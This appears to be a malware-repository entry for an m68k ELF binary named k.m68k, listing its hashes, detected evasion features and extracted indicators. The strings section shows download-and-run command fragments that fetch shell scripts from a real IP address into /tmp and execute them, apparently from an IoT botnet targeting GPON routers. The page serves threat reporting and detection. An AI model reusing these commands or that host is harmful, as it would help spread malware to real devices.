k.m68k

First submission 2024-10-18 00:31:02

File details

File type: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, not stripped
Mime type: application/x-executable
File size: 155.2 KB (158921 bytes)
MD5: e0f21ec4c7f43acc533bb7572b48cad1
SHA1: ab541b9605e3b332951a54a3061bc5d980c5c1e4
SHA256: 47a7019c59124a8169f4fb8538ebb9815b9a5a09c45fbd388034cad29dc3c102

File features detected

Is DLL
Packers
Anti Debug
Anti VM
Signed
XOR

URLs, FQDN and IP indicators 1

URL Host (FQDN/IP) Date Added
hXXp://64.235.37.148/bins/k.m68k VirusTotal Report 64.235.37.148 VirusTotal Report 2024-10-18 00:31:02

Strings analysis - Possible IPs found 7

1.9.2.6
1.9.2.4
1.8.1.11
1.9.0.8
64.235.37.148
8.8.8.8
1.9.0.6

Strings analysis - Possible URLs found 6

http://64.235.37.148/gpon+-O+/tmp/gaf;sh+/tmp/gaf
http://64.235.37.148/t%20-O%20-%3E%20/tmp/t;sh%20/tmp/t%27$
http://64.235.37.148/real.sh
http://schemas.xmlsoap.org/soap/envelope/
http://schemas.xmlsoap.org/soap/encoding/
http://64.235.37.148/Kirin.sh;chmod